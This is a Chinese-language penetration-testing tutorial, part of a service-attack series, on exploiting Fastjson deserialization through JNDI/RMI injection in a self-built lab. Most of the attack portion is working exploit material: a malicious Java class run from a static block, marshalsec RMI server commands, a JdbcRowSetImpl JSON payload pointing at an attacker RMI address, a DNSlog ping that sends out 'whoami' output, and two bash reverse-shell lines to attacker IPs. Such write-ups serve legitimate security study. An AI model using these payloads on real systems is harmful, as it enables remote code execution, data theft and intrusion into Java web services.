本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
RMI
服务端除了可以直接绑定远程对象之外,还可以通过References
类来绑定一个外部的远程对象,当RMI
绑定了References
之后,首先会利用Referenceable.getReference()
获取绑定对象的引用,并且在目录中保存(简单理解就是在Registry
中保存远程对象的引用),当客户端使用lookup
获取对应名字的时候,会返回ReferenceWrapper
类的代理文件,然后会调用getReference()
获取Reference
类,最终通过factory
类将Reference
转换为具体的对象实例。import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;public class JNDIClient {
public static void main(String[] args) throws Exception{
try {
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:8000/refObj");
}
catch (NamingException e) {
e.printStackTrace();
}
}
}
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
// Reference需要传入三个参数 (className,factory,factoryLocation)
// 第一个参数随意填写即可,第二个参数填写我们http服务下的类名,第三个参数填写我们的远程地址
Reference refObj = new Reference("Evil", "EvilObject", "http://127.0.0.1:8000/");
// ReferenceWrapper包裹Reference类,使其能够通过 RMI 进行远程访问
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
}
}
ReferenceWrapper
源码中不难看出,该类继承自UnicastRemoteObject
,实现对Reference
进行包裹从而让Reference
使其能够通过RMI
进行远程访问References
,References
类有两个属性,className
和codebase url
,className
就是远程引用的类名,codebase
决定了我们远程类的位置,当本地classpath
中没有找到对应的类的时候,就会去请求对应codebase
地址下的类 (codebase 支持http协议),那么如果我们将codebase
地址下的类替换成我们的恶意类,这样我们就能让客户端命令执行了1. 首先开启 HTTP 服务器,并将我们的恶意类放在目录下
2. 开启恶意 RMI 服务器
3. 攻击者控制 uri 参数为上一步开启的恶意 RMI 服务器地址
4. 恶意 RMI 服务器返回 ReferenceWrapper 类
5. 目标(JNDI_Client) 在执行lookup操作的时候,在decodeObject 中将ReferenceWrapper 变为 Reference 类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),在实例化时触发静态代码片段中的恶意代码
https://mvnrepository.com/artifact/com.alibaba/fastjson
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.4</version>
</dependency>
</dependencies>
public static void main(String[] args){}
User user = new User();
user.setName("张三");
user.setAge(18);String jsonStr = JSON.toJSONString(user);
System.out.printf(jsonStr);
private String name; private Integer age;
public String getName() {
return name;
}public void setName(String name) {
this.name = name;
}public Integer getAge() {
return age;
}public void setAge(Integer age) {
this.age = age;
}@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSON; public class Test {
public static void main(String[] args){
User user = new User();
user.setName("张三");
user.setAge(18);String jsonStr = JSON.toJSONString(user);
System.out.printf(jsonStr);
}
}
import com.alibaba.fastjson.JSON;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@GetMapping("/dayumulu")
public String dayutest(){}
User user = new User();
user.setName("张三");
user.setAge(18);String jsonStr = JSON.toJSONString(user);
return jsonStr;
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.4</version>
</dependency>
http://localhost:8080/dayumulu
server.port=8888
1. 反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。
2. RMI是一种行为,指的是Java远程方法调用。
3. JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。
4. ldap指轻量级目录访问协议。
基于rmi的利用方式:适用jdk版本:JDK 6u132, JDK 7u131, JDK 8u121之前。 在jdk8u122的时候,加入了反序列化白名单的机制,关闭了rmi远程加载代码。
基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。
在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。
可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。
Fastjson < 1.2.25
sudo docker-compose up -d
sudo docker ps
http://192.168.253.7:8090/
com.sun.jndi.rmi.object.trustURLCodebase
的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl
的利用链,借助JNDI注入来执行命令。curl http://192.168.253.7:8090/ -H "Content-Type: application/json" --data '{"name":"dayu", "age":20}'
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version
import java.lang.Runtime;
import java.lang.Process;public class dayu{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/dayutest"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
python -m SimpleHTTPServer 80
git clone https://github.com/mbechler/marshalsec.git
apt-get install maven
mvn clean package -DskipTests
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.253.9/#dayu" 9999
POST / HTTP/1.1
Host: 192.168.253.7:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 163{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.253.9:9999/dayu",
"autoCommit":true
}
}
"/bin/sh","-c","ping user.'whoami'.ej0m80.dnslog.cn"
import javax.naming.InitialContext;
import javax.naming.NamingException;public class rmiTest {
public static void main(String[] args) throws IOException, NamingException {
InitialContext xxx = new InitialContext();
xxx.lookup("rmi://x.x.x.x:1999/Exploit");
}
}
import javax.naming.InitialContext;
import javax.naming.NamingException;public class rmiTest2 {
public static void main(String[] args) throws IOException, NamingException {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext xxx = new InitialContext();
xxx.lookup("rmi://x.x.x.x:1999/Exploit");
}
}
"/bin/bash","-c","exec 5<>/dev/tcp/192.168.253.9/8899;cat <&5 | while read line; do $line 2>&5 >&5; done" 或者:
"/bin/bash", "-c", "bash -i >& /dev/tcp/x.x.x.x/1234 0>&1"
服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)-> 服务攻防之中间件Nginx(总)-> 服务攻防之中间件Tomcat(上)-> 服务攻防之中间件Tomcat(下)-> 服务攻防之中间件JBoss(上)-> 服务攻防之中间件JBoss(中)-> 服务攻防之中间件JBoss(下)-> 服务攻防之中间件Weblogic(上)-> 服务攻防之中间件Weblogic(下)-> 服务攻防之中间件GlassFish(总)-> 服务攻防之中间件WebSphere(总)-> 服务攻防之框架Struts2(上)-> 服务攻防之框架Struts2(下)-> 服务攻防之框架Thinkphp(总)-> 服务攻防之框架Shiro(总)-> 服务攻防之框架Spring(上)-> 服务攻防之框架Spring(下)-> 服务攻防之框架FastJson(上)-> 服务攻防之框架FastJson(下)......
作者:大余
如有侵权,请联系删除
推荐阅读